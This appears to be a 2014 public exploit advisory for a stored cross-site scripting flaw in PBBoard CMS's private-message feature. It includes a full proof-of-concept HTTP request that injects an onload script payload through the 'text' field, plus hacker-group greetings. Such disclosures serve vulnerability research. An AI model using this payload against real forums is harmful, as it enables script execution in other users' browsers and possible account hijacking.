PBBoard CMS - Stored XSS Vulnerability



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# Exploit Title   : PBBoard CMS Stored xss vulnerability
# Author          : Manish Kishan Tanwar  
# Vendor          : http://www.pbboard.info/
# version affected: all
# Date            : 7/12/2014 
# Discovered @    : INDISHELL Lab
# Love to         : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,jagriti
# email           : manish.1046@gmail.com
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////////////////////////
/// Overview: 
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Program PBBoard is interactive Forum management program Dialogic
Free classified software Free and open source.
///////////////////////////////
// Vulnerability Description: 
///////////////////////////////

Stored xss vulnerability exist in "send private message" module, a user can send xss crafted private message to other user, and when reciever will open the message xss payload will execute

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///  Proof of Concept: -
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go to "inbox", click "compose message"
type username, title and message body , intercept the request and change the
content of "text" parameter with xss payload 
when reciever will open the message, xss payload will execute

Proof image:- http://oi57.tinypic.com/112d5cx.jpg

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///Demo POC Request///
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POST /PBBoard_v3.0.1/index.php?page=pm_send&send=1&start=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/PBBoard_v3.0.1/index.php?page=pm_send&send=1&index=1&username=ica
Cookie: PowerBB_lastvisit=1417951132; PowerBB_username=ica; PowerBB_password=8a2d334536b2f4146af8cf46acd85110; security_level=0;PHPSESSID=thouojqch98pigioioepn8n2h1
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------147872036312473
Content-Length: 670

-----------------------------147872036312473
Content-Disposition: form-data; name="to[]"

ica
-----------------------------147872036312473
Content-Disposition: form-data; name="title"

hi
-----------------------------147872036312473
Content-Disposition: form-data; name="text"

hii</div><font color=red><body onload="prompt( String.fromCharCode(120,115,115,32,116,101,115,116));">//
-----------------------------147872036312473
Content-Disposition: form-data; name="icon"

look/images/icons/i1.gif
-----------------------------147872036312473
Content-Disposition: form-data; name="insert"

Save
-----------------------------147872036312473--



                             --==[[ Greetz To ]]==--
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#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba, 
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk
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                             --==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Don(Deepika kaushik)
                       --==[[ Special Fuck goes to ]]==--
                            <3  suriya Cyber Tyson <3